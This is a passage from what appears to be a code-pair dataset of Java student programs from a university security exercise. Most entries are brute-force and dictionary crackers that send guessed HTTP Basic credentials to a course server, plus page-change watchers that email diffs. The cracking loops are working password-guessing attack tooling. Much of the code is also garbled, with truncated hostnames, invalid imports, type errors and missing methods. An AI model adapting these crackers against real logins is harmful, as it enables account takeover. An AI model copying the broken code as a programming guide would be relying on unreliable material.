\ & 0xf) << 2) | (b3 >> 6));\n byte c4 = (byte)(b3 & 0x3f);\n encodedString\
\ += base64Array [c1];\n encodedString += base64Array [c2];\n switch\
\ (pad) {\n case 0:\n encodedString += base64Array [c3];\n \
\ encodedString += base64Array [c4];\n break;\n case 1:\n\
\ encodedString += base64Array [c3];\n encodedString += \"=\"\
;\n break;\n case 2:\n encodedString += \"==\";\n \
\ break;\n }\n }\n return encodedString;\n }\n }\n\n"
- "\nimport java.io.*;\n\npublic class PasswordFile {\n \n private String\
\ strFilepath;\n private String strCurrWord;\n private File fWordFile;\n\
\ private BufferedReader in;\n \n \n public PasswordFile(String filepath)\
\ {\n strFilepath = filepath;\n try {\n fWordFile = new\
\ File(strFilepath);\n in = new BufferedReader(new FileReader(fWordFile));\n\
\ }\n catch(Exception e)\n {\n System.out.println(\"\
Could not open file \" + strFilepath);\n }\n }\n \n String getPassword()\
\ {\n return strCurrWord;\n }\n \n String getNextPassword() {\n\
\ try {\n strCurrWord = in.readLine();\n \n \
\ \n \n }\n catch (Exception e)\n {\n \
\ \n return null;\n }\n \n return\
\ strCurrWord;\n }\n \n}\n"
- "\n\nimport java.net.*;\nimport java.io.*;\n\npublic class SendEMail {\n\n public\
\ void SendEMail(){}\n\npublic void sendMail(String recipient,String c, String\
\ subject){\n try {\n\n Socket s = new Socket(\"yallara.cs.rmit.edu.\"\
, 25);\n BufferedReader in = new BufferedReader\n (new InputStreamReader(s.getInputStream(),\
\ \"8859_1\"));\n BufferedWriter out = new BufferedWriter\n (new\
\ OutputStreamWriter(s.getOutputStream(), \"8859_1\"));\n\n send(in, out,\
\ \"HELO theWorld\");\n \n \n send(in, out, \"MAIL FROM: <watch@dog.>\"\
);\n send(in, out, \"RCPT : \"+recipient);\n send(in, out, \"DATA\"\
);\n send(out, \"Subject: \"+ subject);\n send(out, \"From: WatchDog.java\"\
);\n send (out, \"\\n\");\n \n BufferedReader reader;\n String\
\ line;\n reader = new BufferedReader(new InputStreamReader(new FileInputStream()));\n\
\ line = reader.readLine();\n while (line != null){\n send(out,\
\ line);\n line = reader.readLine();\n }\n send(out, \"\\n.\\\
n\");\n send(in, out, \"QUIT\");\n s.print();\n }\n catch (Exception\
\ e) {\n e.printStackTrace();\n }\n }\n\n public void send(BufferedReader\
\ in, BufferedWriter out, String s) {\n try {\n out.write(s + \"\\n\");\n\
\ out.flush();\n System.out.println(s);\n s = in.readLine();\n\
\ System.out.println(s);\n }\n catch (Exception e) {\n e.printStackTrace();\n\
\ }\n }\n\n public void send(BufferedWriter out, String s) {\n try {\n\
\ out.write(s + \"\\n\");\n out.flush();\n System.out.println(s);\n\
\ }\n catch (Exception e) {\n e.printStackTrace();\n }\n }\n\
}"
- source_sentence: "\n\nimport java.awt.*;\nimport java.String;\nimport java.util.*;\n\
import java.io.*;\nimport java.net.*;\n\n\n\npublic class BruteForce\n{\n private\
\ URL url;\n private HttpURLConnection connection ;\n private int stopTime\
\ = 0;\n private int startTime = 0;\n private int count = 0;\n\n public\
\ BruteForce()\n {\n System.out.println(\"Process is running...\");\n \
\ startTime = System.currentTimeMillis();\n threeLetters();\n twoLetters();\n\
\ }\n\n public static void main (String args[])\n {\n BruteForce bf\
\ = new BruteForce();\n }\n \n public void threeLetters()\n {\n String\
\ s1;\n char [] a = {'a','a','a'};\n\n for (int i0 = 0; i0 < 26; i0++)\n\
\ {\n for (int i1 = 0; i1 < 26; i1++)\n {\n for\
\ (int i2 = 0; i2 < 26; i2++)\n {\n s1 = String.valueOf((char)(a[0]\
\ + i0)) + String.valueOf((char)(a[1] + i1)) +\n\t\t String.valueOf((char)(a[2]\
\ + i2));\n decision(s1);\n count++;\n\n \
\ s1 = String.valueOf((char)(a[0] + i0)) + String.valueOf((char)(a[1] + i1))\
\ +\n (String.valueOf((char)(a[2] + i2))).toUpperCase();\n\
\ decision(s1);\n count++;\n\n s1 =\
\ String.valueOf((char)(a[0] + i0)) + (String.valueOf((char)(a[1] + i1))).toUpperCase()\
\ +\n (String.valueOf((char)(a[2] + i2))).toUpperCase();\n\
\ decision(s1);\n count++;\n\n s1 =\
\ (String.valueOf((char)(a[0] + i0))).toUpperCase() +\n (String.valueOf((char)(a[1]\
\ + i1))).toUpperCase() +\n (String.valueOf((char)(a[2] + i2))).toUpperCase();\n\
\ decision(s1);\n count++;\n\n s1 =\
\ (String.valueOf((char)(a[0] + i0))) + (String.valueOf((char)(a[1] + i1))).toUpperCase()\
\ +\n String.valueOf((char)(a[2] + i2));\n decision(s1);\n\
\ count++;\n\n s1 = (String.valueOf((char)(a[0] +\
\ i0))).toUpperCase() + String.valueOf((char)(a[1] + i1)) +\n\t\t String.valueOf((char)(a[2]\
\ + i2));\n decision(s1);\n count++;\n\n \
\ s1 = (String.valueOf((char)(a[0] + i0))).toUpperCase() + String.valueOf((char)(a[1]\
\ + i1)) +\n (String.valueOf((char)(a[2] + i2))).toUpperCase();\n\
\ decision(s1);\n count++;\n\n s1 =\
\ (String.valueOf((char)(a[0] + i0))).toUpperCase() +\n (String.valueOf((char)(a[1]\
\ + i1))).toUpperCase() + String.valueOf((char)(a[2] + i2));\n decision(s1);\n\
\ count++;\n }\n }\n }\n }\n \n public\
\ void twoLetters()\n {\n String s1;\n char [] a = {'a','a'};\n\n\
\ for (int i0 = 0; i0 < 26; i0++)\n {\n for (int i1 = 0; i1\
\ < 26; i1++)\n {\n s1 = String.valueOf((char)(a[0] + i0))\
\ + String.valueOf((char)(a[1] + i1));\n decision(s1);\n \
\ count++;\n\n s1 = String.valueOf((char)(a[0] + i0)) + String.valueOf((char)(a[1]\
\ + i1)).toUpperCase();\n decision(s1);\n count++;\n\n \
\ s1 = (String.valueOf((char)(a[0] + i0))).toUpperCase() +\n \
\ (String.valueOf((char)(a[1] + i1))).toUpperCase();\n decision(s1);\n\
\ count++;\n\n s1 = (String.valueOf((char)(a[0] + i0))).toUpperCase()\
\ + String.valueOf((char)(a[1] + i1));\n decision(s1);\n \
\ count++;\n }\n }\n }\n\n \n public void decision(String\
\ s1)\n {\n if (find(s1) == 200)\n {\n stopTime = System.currentTimeMillis();\n\
\ runTime = stopTime - startTime;\n System.out.println(\"***************************************\"\
);\n System.out.println(\"\\nAttack successfully\");\n System.out.println(\"\
\\nPassword is: \" + s1);\n System.out.println(\"\\nThe contents of the\
\ Web site: \");\n displayContent(s1);\n System.out.println(\"\
\\nTime taken crack: \" + runTime + \" millisecond\");\n System.out.println(\"\
\\nNumber of attempts: \" + count);\n System.out.println();\n\n \
\ System.exit(0);\n }\n }\n \n \n public int find(String s1)\n\
\ {\n int responseCode = 0;\n try\n {\n url = new URL(\"\
http://sec-crack.cs.rmit.edu./SEC/2/\");\n connection = (HttpURLConnection)url.openConnection();\n\
\n connection.setRequestProperty(\"Authorization\",\" \" + MyBase64.encode(\"\
\" + \":\" + s1));\n\n responseCode = connection.getResponseCode();\n\n\
\ }catch (Exception e)\n {\n System.out.println(e.getMessage());\n\
\ }\n return responseCode;\n }\n\n \n public void displayContent(String\
\ pw)\n {\n BufferedReader bw = null ;\n try\n {\n url\
\ = new URL(\"http://sec-crack.cs.rmit.edu./SEC/2/\");\n connection =\
\ (HttpURLConnection)url.openConnection();\n\n connection.setRequestProperty(\"\
Authorization\",\" \" + MyBase64.encode(\"\" + \":\" + pw));\n InputStream\
\ stream = (InputStream)(connection.getContent());\n if (stream != null)\n\
\ {\n InputStreamReader reader = new InputStreamReader (stream);\n\
\ bw = new BufferedReader (reader);\n String line;\n\n\
\ while ((line = bw.readLine()) != null)\n {\n \
\ System.out.println(line);\n }\n }\n }\n \
\ catch (IOException e)\n {\n System.out.println(e.getMessage());\n\
\ }\n }\n}\n\n\n\n\n"
sentences:
- "import java.io.*;\nimport java.net.*;\nimport java.text.*;\nimport java.util.*;\n\
\nclass BruteForce {\n\n String password=\"\";\n\n int num =401;\n\n\n \
\ public static void main (String[] args) {\n\n String str=\"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\"\
;\n\n BruteForce URLcon;\n\n int length = 0;\n\n String passwd=\"\
\";\n\n int t0,t1;\n\n \n if (args.length == 0) {\n \t\n\
\ \tSystem.err.println (\n \t\t\n \t\t\"Usage : java BruteForce\
\ <username>\");\n \treturn;\n \t\n \t}\n String username\
\ = args[0];\n \n\n t0=System.currentTimeMillis();\n\n System.out.println\
\ (\" \" + new Date());\n \n System.out.println (\"Using BruteForce\
\ method attack \"+username+\"'s password.Please waiting.......\");\n\n \
\ for (int i=0;i<str.length();i++){\n\n passwd=str.substring(i,i+1);\n\
\n URLcon = new BruteForce (passwd,username);\n\n if ((URLcon.num)!=401)\
\ {\n\n \tt1=System.currentTimeMillis();\n\n System.out.println(\"\
The password: \"+ passwd);\n\n \tdouble dt =t1-t0;\n\n\n\n \
\ \tSystem.out.println(\"It took \"+ DecimalFormat.getInstance().format(dt/1000)+\
\ \" seconds.\");\n\n System.out.println (\"Finish \" + new Date());\n\
\ \n \treturn;\n\n }\n\n for\
\ (int j=0;j<str.length();j++){\n\n passwd =str.substring(i,i+1)+str.substring(j,j+1);\n\
\n URLcon = new BruteForce (passwd,username);\n\n \
\ if ((URLcon.num)!=401) {\n\n \t t1=System.currentTimeMillis();\n\
\n System.out.println(\"The password: \"+ passwd);\n\n\n \
\ double dt =t1-t0;\n\n\n\n System.out.println(\"\
It took \"+ DecimalFormat.getInstance().format(dt/1000)+ \" seconds.\");\n \
\ System.out.println (\"Finish \" + new Date());\n \
\ \t return;\n\n }\n for (int m=0;m<str.length();m++){\n\
\n passwd = str.substring(i,i+1)+str.substring(j,j+1)+str.substring(m,m+1);\n\
\n URLcon = new BruteForce (passwd,username);\n\n \
\ if ((URLcon.num)!=401) {\n\n \tt1=System.currentTimeMillis();\n\
\n System.out.println(\"The password: \"+ passwd);\n\n\n \
\ \t double dt =t1-t0;\n\n\n\n \tSystem.out.println(\"\
It took \"+DecimalFormat.getInstance().format(dt/1000)+ \" seconds.\");\n \
\ \n System.out.println (\"Finish \" + new\
\ Date());\n \n \t return;\n\n \
\ }\n\n\n }\n\n}\n}\n System.out.println(\" not find the\
\ password\");\n\n}\n\n public BruteForce (String password, String username){\n\
\n \t String urlString = \"http://sec-crack.cs.rmit.edu./SEC/2/\" ;\n\n \
\ \n\n try {\n\n String userPassword = username+\":\"+password ;\n\
\n String encoding = new userPassword.misc.BASE64Encoder().encode (userPassword.getBytes());\n\
\n URL url = new URL (urlString);\n\n HttpURLConnection uc = (HttpURLConnection)\
\ url.openConnection();\n\n uc.setRequestProperty (\"Authorization\", \"\
\ \" + encoding);\n\n url = uc.getResponseCode();\n\n\n }\n \
\ catch(MalformedURLException e){\n \t System.out.println(e);\n \
\ }catch(IOException e){\n System.out.println(e);\n }\n\n\n \
\ }\n}"
- "\n\n\n\npublic class HoldSharedData\n{\n private int numOfConnections\
\ = 0;\n private int startTime;\n private int totalTime = 0;\n \
\ private String[] password;\n private int pwdCount;\n\n public HoldSharedData(\
\ int time, String[] pwd, int count )\n {\n startTime = time;\n\n \
\ password = pwd;\n pwdCount = count;\n }\n\n public int getPwdCount()\n\
\ {\n return pwdCount;\n }\n\n public void setNumOfConnections(\
\ )\n {\n numOfConnections ++;\n }\n\n public int getNumOfConnections()\n\
\ {\n return numOfConnections;\n }\n\n public int getStartTime()\n\
\ {\n return startTime;\n }\n\n public void setTotalTime( int\
\ newTotalTime )\n {\n totalTime = newTotalTime;\n }\n\n public\
\ int getTotalTime()\n {\n return totalTime;\n }\n\n public String\
\ getPasswordAt( int index )\n {\n return password[index];\n }\n\
} \n"
- "\n\nimport java.awt.*;\nimport java.String;\nimport java.util.*;\nimport java.io.*;\n\
import java.net.*;\n\n\n\npublic class Dictionary\n{\n private URL url;\n \
\ private HttpURLConnection connection ;\n private int stopTime = 0;\n private\
\ int startTime = 0;\n private int count = 0;\n\n public Dictionary()\n \
\ {\n System.out.println(\"Process is running...\");\n startTime = System.currentTimeMillis();\n\
\ findWords();\n }\n\n public static void main(String args[])\n {\n\
\ Dictionary sc = new Dictionary();\n }\n \n \n public void findWords()\n\
\ {\n try\n {\n BufferedReader input = new BufferedReader(new\
\ FileReader (\"words\"));\n String text;\n while ((text = input.readLine())\
\ != null)\n {\n if ((text.length() == 3) || (text.length()\
\ == 2))\n {\n count++;\n decision(text);\n\
\ }\n\n }\n\n }\n catch (IOException io)\n \
\ {\n System.out.println(\"File Error: \" + io.getMessage());\n }\n\
\ }\n \n \n public void decision(String s1)\n {\n if (find(s1)\
\ == 200)\n {\n stopTime = System.currentTimeMillis();\n \
\ runTime = stopTime - startTime;\n System.out.println(\"***************************************\"\
);\n System.out.println(\"\\nAttack successfully\");\n System.out.println(\"\
\\nPassword is: \" + s1);\n System.out.println(\"\\nThe contents of the\
\ Web site: \");\n displayContent(s1);\n System.out.println(\"\
\\nTime taken crack: \" + runTime + \" millisecond\");\n System.out.println(\"\
\\nNumber of attempts: \" + count);\n System.out.println();\n\n \
\ System.exit(0);\n }\n }\n \n \n public int find(String s1)\n\
\ {\n int responseCode = 0;\n try\n {\n url = new URL(\"\
http://sec-crack.cs.rmit.edu./SEC/2/\");\n connection = (HttpURLConnection)url.openConnection();\n\
\n connection.setRequestProperty(\"Authorization\",\" \" + MyBase64.encode(\"\
\" + \":\" + s1));\n\n responseCode = connection.getResponseCode();\n\n\
\ }catch (Exception e)\n {\n System.out.println(e.getMessage());\n\
\ }\n return responseCode;\n }\n \n public void displayContent(String\
\ pw)\n {\n BufferedReader bw = null ;\n try\n {\n url\
\ = new URL(\"http://sec-crack.cs.rmit.edu./SEC/2/\");\n connection =\
\ (HttpURLConnection)url.openConnection();\n\n connection.setRequestProperty(\"\
Authorization\",\" \" + MyBase64.encode(\"\" + \":\" + pw));\n InputStream\
\ stream = (InputStream)(connection.getContent());\n if (stream != null)\n\
\ {\n InputStreamReader reader = new InputStreamReader (stream);\n\
\ bw = new BufferedReader (reader);\n String line;\n\n\
\ while ((line = bw.readLine()) != null)\n {\n \
\ System.out.println(line);\n }\n }\n }\n \
\ catch (IOException e)\n {\n System.out.println(e.getMessage());\n\
\ }\n }\n}\n\n\n\n\n"
- source_sentence: "\nimport java.net.*;\nimport java.io.*;\nimport java.Ostermiller.util.*;\n\
import java.util.*;\n\npublic class MyClient1 implements Runnable\n{\n private\
\ String hostname;\n private int port;\n private String filename;\n private\
\ Socket s;\n private int n;\n private InputStream sin;\n private OutputStream\
\ sout;\n private int dif;\n private String myPassword;\n private int status;\n\
\ private int myTime;\n private Dictionary myMaster;\n \n\n public MyClient1(Dictionary\
\ dic, int num, int myPort, String password)\n {\n \n hostname = new\
\ String(\"sec-crack.cs.rmit.edu.\");\n port = myPort;\n status = 0;\n\
\ myTime = 0;\n myPassword = password;\n filename = new String(\"\
/SEC/2/\");\n myMaster = 0;\n n = num;\n dif = 0;\n \n }\n\
\ public getDif()\n {\n return dif;\n }\n public int getStatus()\n\
\ {\n return status;\n }\n public void run() \n {\n String inputLine;\n\
\ String[] tokens = new String[5];\n int i;\n myTime = 0;\n \
\ finish = 0;\n start = System.currentTimeMillis();\n try\n \
\ {\n s = new Socket( hostname, port);\n }catch( UnknownHostException\
\ e)\n {\n System.out.println(\"'t find host\");\n }catch( IOException\
\ e)\n {\n System.out.println(\"Error connecting host \"+n);\n\
\t return;\n }\n while(s.isConnected() == false)\n continue;\n\
\ \n finish = System.currentTimeMillis();\n dif = finish - start;\n\
\ \n try\n {\n sin = s.getInputStream();\n }catch(\
\ IOException e)\n {\n System.out.println(\"'t open stream\");\n\
\ }\n BufferedReader fromServer = new BufferedReader(new InputStreamReader(\
\ ));\n try\n {\n sout = s.getOutputStream();\n }catch(\
\ IOException e)\n {\n System.out.println(\"'t open stream\");\n\
\ }\n \n PrintWriter toServer = new PrintWriter( new OutputStreamWriter(\
\ sout));\n toServer.print(\"GET \"+filename+\" HTTP/1.0\\r\\n\"+\"Authorization:\
\ \"+Base64.encode(\"\"+\":\"+myPassword)+\"\\r\\n\\r\\n\");\n toServer.flush();\n\
\ \n try\n {\n inputLine = fromServer.readLine();\n \
\ }catch( IOException e)\n {\n System.out.println(\"'t open stream\"\
);\n\t inputLine = null;\n }\n \n java.util.StringTokenizer \
\ = new java.util.StringTokenizer( inputLine, \" \");\n i = 0;\n while(bf.hasMoreTokens())\n\
\ {\n tokens[i] =bf .nextToken();\n\t i++;\n }\n status\
\ = Integer.parseInt( tokens[1]);\n myTime = System.currentTimeMillis();\n\
\ if( status == 200)\n {\n System.out.println(\"Ok \"+myPassword);\n\
\t myMaster.retire( this);\n }\n \n toServer.send();\n try\n\
\ {\n fromServer.recieve();\n }catch( IOException e)\n \
\ {\n System.out.println(\"'t open stream\");\n }\n try\n\
\ {\n s.connect();\n }catch( IOException e)\n {\n \
\ System.out.println(\"'t connection\");\n\t System.exit(0);\n }\n\
\ }\n public getTime()\n {\n return myTime;\n }\n \n}\n"
sentences:
- "import java.net.*;\nimport java.io.*;\nimport java.*;\nimport java.Runtime.*;\n\
import java.Object.*;\nimport java.util.*;\nimport java.util.StringTokenizer;\n\
\n\npublic class ReadFile\n{\n private StringTokenizer tokenizer;\n private\
\ BufferedReader bf;\n private String line;\n private String first;\n Vector\
\ in = new Vector();\n \n public void loadFile()throws NoSuchElementException,\
\ IOException\n {\n System.out.println(\"in loadFile\");\n try{\n bf\
\ = new BufferedReader(new FileReader(\"words\"));\n }\n catch(FileNotFoundException\
\ fe){}\n catch(IOException io){}\n while((line = bf.readLine())!=null)\n\
\ {\n\n int index = 0;\n tokenizer = new StringTokenizer(line);\n\
\ try\n\t {\n\t first = tokenizer.nextToken();\n\t \n\t \n\
\t if (first.length() == 3)\n\t {\n\t\tin.add(first);\n\t }\n\t }\n\
\ catch(NoSuchElementException n)\n\t {\n System.out.println(\"\
File Loaded Succesfully\");\n\n }\n\n }\n }\n public Vector getVector()\n\
\ {\n return in;\n }\n public static void main (String args[])\n {\n\
\ Vector v = new Vector();\n try\n {\n System.out.println(\"\
in \");\n\t ReadFile rf = new ReadFile();\n rf.loadFile();\n v =\
\ rf.getVector();\n\t \n }\n catch(IOException e)\n {\n System.out.println(e);\n\
\ }\n System.out.println(\"size:\" + v.size());\n for (int i = 0;\
\ i< v.size(); i++)\n {\n System.out.println(i+1+ \":\" + v.elementAt(i));\n\
\ }\n \n \n }\n \n}\n"
- "\nimport java.net.*;\nimport java.io.*;\nimport java.Ostermiller.util.*;\nimport\
\ java.util.*;\n\npublic class MyClient2 implements Runnable\n{\n private String\
\ hostname;\n private int port;\n private String filename;\n private Socket\
\ s;\n private int n;\n private InputStream sin;\n private OutputStream\
\ sout;\n private int dif;\n private String myPassword;\n private int status;\n\
\ private int myTime;\n private BruteForce myMaster;\n \n\n public MyClient2(BruteForce\
\ bf , int num, int myPort, String password)\n {\n \n hostname = new\
\ String(\"sec-crack.cs.rmit.edu.\");\n port = myPort;\n status = 0;\n\
\ myTime = 0;\n myPassword = password;\n filename = new String(\"\
/SEC/2/\");\n myMaster = 0;\n n = num;\n dif = 0;\n \n }\n\
\ public getDif()\n {\n return dif;\n }\n public int getStatus()\n\
\ {\n return status;\n }\n public void run() \n {\n String inputLine;\n\
\ String[] tokens = new String[5];\n int i;\n myTime = 0;\n \
\ finish = 0;\n start = System.currentTimeMillis();\n try\n \
\ {\n s = new Socket( hostname, port);\n }catch( UnknownHostException\
\ e)\n {\n System.out.println(\"'t find host\");\n }catch( IOException\
\ e)\n {\n System.out.println(\"Error connecting host \"+n);\n\
\t return;\n }\n while(s.isConnected() == false)\n continue;\n\
\ \n finish = System.currentTimeMillis();\n dif = finish - start;\n\
\ \n try\n {\n sin = s.getInputStream();\n }catch(\
\ IOException e)\n {\n System.out.println(\"'t open stream\");\n\
\ }\n BufferedReader fromServer = new BufferedReader(new InputStreamReader(\
\ ));\n try\n {\n sout = s.getOutputStream();\n }catch(\
\ IOException e)\n {\n System.out.println(\"'t open stream\");\n\
\ }\n \n PrintWriter toServer = new PrintWriter( new OutputStreamWriter(\
\ sout));\n toServer.print(\"GET \"+filename+\" HTTP/1.0\\r\\n\"+\"Authorization:\
\ \"+Base64.encode(\"\"+\":\"+myPassword)+\"\\r\\n\\r\\n\");\n toServer.flush();\n\
\ \n try\n {\n inputLine = fromServer.readLine();\n \
\ }catch( IOException e)\n {\n System.out.println(\"'t open stream\"\
);\n\t inputLine = null;\n }\n \n java.util.StringTokenizer \
\ = new java.util.StringTokenizer( inputLine, \" \");\n i = 0;\n while(sin.hasMoreTokens())\n\
\ {\n tokens[i] = sin.nextToken();\n\t i++;\n }\n status\
\ = Integer.parseInt( tokens[1]);\n myTime = System.currentTimeMillis();\n\
\ if( status == 200)\n {\n System.out.println(\"Ok \"+myPassword);\n\
\t myMaster.retire( this);\n }\n \n toServer.send();\n try\n\
\ {\n fromServer.receive();\n }catch( IOException e)\n \
\ {\n System.out.println(\"'t open stream\");\n }\n try\n\
\ {\n s.connect();\n }catch( IOException e)\n {\n \
\ System.out.println(\"'t connection\");\n\t System.exit(0);\n }\n\
\ }\n public getTime()\n {\n return myTime;\n }\n \n}\n"
- "\n\nimport java.util.*;\nimport java.text.*;\nimport java.io.*;\nimport java.*;\n\
import java.net.*;\n\npublic class WatchDog\n{\n public static void main(String\
\ args[])\n {\n String s = null;\n String webpage = \"http://www.cs.rmit.edu./students/\"\
;\n \n \n String file1 = \"file1\";\n String file2 = \"file2\"\
;\n \n try\n {\n Process p = Runtime.getRuntime().exec(\"\
wget -O \" + file1 + \" \" + webpage);\n \n BufferedReader stdInput\
\ = new BufferedReader(new \n InputStreamReader(p.getInputStream()));\n\
\n BufferedReader stdError = new BufferedReader(new \n \
\ InputStreamReader(p.getErrorStream()));\n\n \n while ((s\
\ = stdInput.readLine()) != null) { \n System.out.println(s);\n \
\ }\n \n \n while ((s = stdError.readLine())\
\ != null) { \n System.out.println(s);\n }\n \n \
\ try\n {\n p.waitFor(); \n }\n catch\
\ (InterruptedException g) \n {\n } \n }\n catch (IOException\
\ e) {\n System.out.println(\"exception happened - here's what I know:\
\ \");\n e.printStackTrace();\n System.exit(-1);\n }\n \
\ \n while (true) \n {\n try\n {\n Process\
\ p = Runtime.getRuntime().exec(\"sleep 86400\"); \n \n \
\ BufferedReader stdInput = new BufferedReader(new \n InputStreamReader(p.getInputStream()));\n\
\n BufferedReader stdError = new BufferedReader(new \n \
\ InputStreamReader(p.getErrorStream()));\n\n \n while\
\ ((s = stdInput.readLine()) != null) { \n System.out.println(s);\n\
\ }\n \n \n while ((s = stdError.readLine())\
\ != null) { \n System.out.println(s);\n }\n \
\ \n try\n {\n p.waitFor(); \n \
\ }\n catch (InterruptedException g) \n {\n \
\ } \n }\n catch (IOException e) \n {\n System.out.println(\"\
exception happened - here's what I know: \");\n e.printStackTrace();\n\
\ System.exit(-1);\n } \n try \n {\n \
\ Process p = Runtime.getRuntime().exec(\"wget -O \" + file2 + \" \" + webpage);\n\
\ \n BufferedReader stdInput = new BufferedReader(new \n\
\ InputStreamReader(p.getInputStream()));\n\n BufferedReader\
\ stdError = new BufferedReader(new \n InputStreamReader(p.getErrorStream()));\n\
\n \n while ((s = stdInput.readLine()) != null) { \n \
\ System.out.println(s);\n }\n \n \
\ \n while ((s = stdError.readLine()) != null) { \n System.out.println(s);\n\
\ }\n \n try\n {\n p.waitFor();\
\ \n }\n catch (InterruptedException g) \n {\n\
\ } \n \n }\n catch (IOException e) \n \
\ {\n System.out.println(\"exception happened - here's what I\
\ know: \");\n e.printStackTrace();\n System.exit(-1);\n\
\ }\n try \n {\n \n Process p =\
\ Runtime.getRuntime().exec(\"diff \" + file1 + \" \" + file2);\n \n\
\ BufferedReader stdInput = new BufferedReader(new \n \
\ InputStreamReader(p.getInputStream()));\n\n BufferedReader stdError\
\ = new BufferedReader(new \n InputStreamReader(p.getErrorStream()));\
\ \n \n \n while ((s = stdError.readLine())\
\ != null) { \n System.out.println(s);\n }\n \
\ \n try\n {\n p.waitFor(); \n \
\ }\n catch (InterruptedException g) \n {\n \
\ }\n \n if ((p.exitValue()) == 1) \n { \n \
\ \n String mailServerURL = \"yallara.cs.rmit.edu.\";\n\
\ String host = \"yallara.cs.rmit.edu.\";\n String\
\ from = \"@yallara.cs.rmit.edu.\";\n \n String subject\
\ = \"Change Detected In WatchDog.java\";\n \n try\n \
\ {\n \t\n Socket csoc=new Socket(mailServerURL,25);\n\
\ BufferedReader in=new BufferedReader(\n \
\ new InputStreamReader(csoc.getInputStream()));\n \n\
\ PrintWriter out=new PrintWriter(csoc.getOutputStream(),true);\n\
\ System.out.println(\"HELO \"+host);\n System.out.println(in.readLine());\n\
\ out.println(\"MAIL FROM:\"+from);\n System.out.println(in.readLine());\n\
\ System.out.println(in.readLine());\n System.out.println(\"\
DATA\");\n System.out.println(in.readLine());\n \
\ System.out.println(\"SUBJECT:\"+subject);\n System.out.println(in.readLine());\n\
\ \n \n while ((s = stdInput.readLine())\
\ != null){\n System.out.println(s);\n }\n\
\ out.println(\".\");\n System.out.println(in.readLine());\n\
\ System.out.println(\"QUIT\");\n System.out.println(in.readLine());\
\ \n }\n catch(Exception e)\n \
\ {\n e.printStackTrace();\n System.out.println(\"\
Some error occoured while communicating server\");\n }\n \
\ } \n }\n catch (IOException e) \n {\n \
\ System.out.println(\"exception happened - here's what I know: \");\n\
\ e.printStackTrace();\n System.exit(-1);\n }\n\
\ } \n }\n}"
- source_sentence: "\n\nimport java.io.*;\nimport java.*;\nimport java.net.*;\nimport\
\ java.util.*;\n\npublic class Dictionary {\n public static void main (String[]\
\ args) throws IOException {\n BufferedReader stdin = new BufferedReader (new\
\ InputStreamReader(System.in));\n\n d = new Date().getTime();\n \
\ FileReader fr = new FileReader(\"/usr/share/lib/dict/words\");\n BufferedReader\
\ bufr = new BufferedReader(fr);\n String word = bufr.readLine(); \
\ \n int total = 960;\n String[] pws = new String[total];\n\
\ int count = 0;\n while (word!=null){\n if (word.length()<=3)\
\ { pws[count] = word; count++;}\n\tword = bufr.readLine();\n }\n \
\ \n int i=0;\n int response = 0;\n for (i=0;i<count;i++){\n\
\ String uname = \"\";\n String userinfo = uname + \":\" + pws[i];\n\
\ try{\n String encoding = new bf.misc.BASE64Encoder().encode (userinfo.getBytes());\n\
\ URL url = new URL(\"http://sec-crack.cs.rmit.edu./SEC/2/\");\n \
\ HttpURLConnection uc = (HttpURLConnection)url.openConnection();\n \
\ uc.setRequestProperty (\"Authorization\", \" \" + encoding);\n response\
\ = uc.getResponseCode();\n\t if (response == 200) break;\n\t else uc.disconnect();\n\
\ }\n catch(IOException e){ System.err.println(e); e.printStackTrace();\
\ } \n catch(IllegalStateException s){ System.err.println(s); s.printStackTrace();\
\ }\n }\n System.out.println(\"Response \"+i+\" was \"+response);\n\
\ System.out.println(\"The successful password was \"+pws[i]);\n \
\ finish = new Date().getTime();\n float totaltime = (float)(finish-d)/1000;\n\
\ System.out.println(\"Time taken: \"+totaltime+ \" seconds.\");\n \
\ \n }\n}\n\n"
sentences:
- "\nimport java.net.*;\nimport java.io.*;\nimport java.util.*;\n\n\npublic class\
\ Dictionary {\n\n public static void main(String args[])\n {\n int i,j,k;\n\
\ String pass = new String();\n String UserPass = new String();\n String status\
\ = new String();\n String status1 = new String();\n BasicAuth auth = new BasicAuth();\n\
\ URLConnection connect;\n int start,end,diff;\n try {\n URL\
\ url = new URL (\"http://sec-crack.cs.rmit.edu./SEC/2/\");\n\n\n\n \
\ start =System.currentTimeMillis();\n\n BufferedReader dis =\
\ new BufferedReader(new FileReader(\"words\"));\n\n\n while ((pass =\
\ dis.readLine()) != null)\n {\n\n\n UserPass= auth.encode(\"\
\",pass);\n\n connect = url.openConnection();\n connect.setDoInput(true);\n\
\ connect.setDoOutput(true);\n\n connect.setRequestProperty(\"\
Host\",\"sec-crack.cs.rmit.edu.\");\n connect.setRequestProperty(\"\
Get\",\"/SEC/2/ HTTP/1.1\");\n connect.setRequestProperty(\"Authorization\"\
,\" \" + UserPass);\n connect.connect();\n status =connect.getHeaderField(0);\n\
\ status1 = status.substring( 9,12);\n if (status.equalsIgnoreCase(\"\
HTTP/1.1 200 OK\"))\n {\n System.out.println(\"Password\
\ is \" + pass);\n end=System.currentTimeMillis();\n \
\ diff = end - start;\n System.out.println(\"Time Taken = \" + (diff/1000)\
\ + \" secs\");\n System.exit(0);\n }\n \
\ ((HttpURLConnection)connect).disconnect();\n connect = null;\n\
\ }\n\n System.out.println(\" match found\");\n\n \
\ dis.close();\n dis=null;\n\n connect = null;\n\n\
\ }\n\n catch (MalformedURLException malerr)\n {\n System.err.println(\"\
Unable Open URL\" + malerr);\n }\n\n catch (Exception ioerr)\n {\n System.err.println(\"\
Unable open file\" + ioerr);\n }\n\n\n\n\n }\n}"
- "import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary\
\ {\n\n URLConnection conn = null;\n private static boolean status = false;\n\
\n public static void main (String args[]){\n Dictionary a = new Dictionary();\n\
\ String[] inp = {\"http://sec-crack.cs.rmit.edu./SEC/2/index.php\",\n \
\ \t\t\t\t \"\",\n \t\t\t\t \"\"};\n File file = new File(\"words\");\n\
\ exit:\n try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\
\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null)\
\ {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n\
\ \t\t \tif (status) {\n\t\t\t \t\t System.out.println(\"Crrect password is:\
\ \" + inp[2]);\n\t\t\t \t\t System.out.println(\"Number of attempts = \" + attempt);\n\
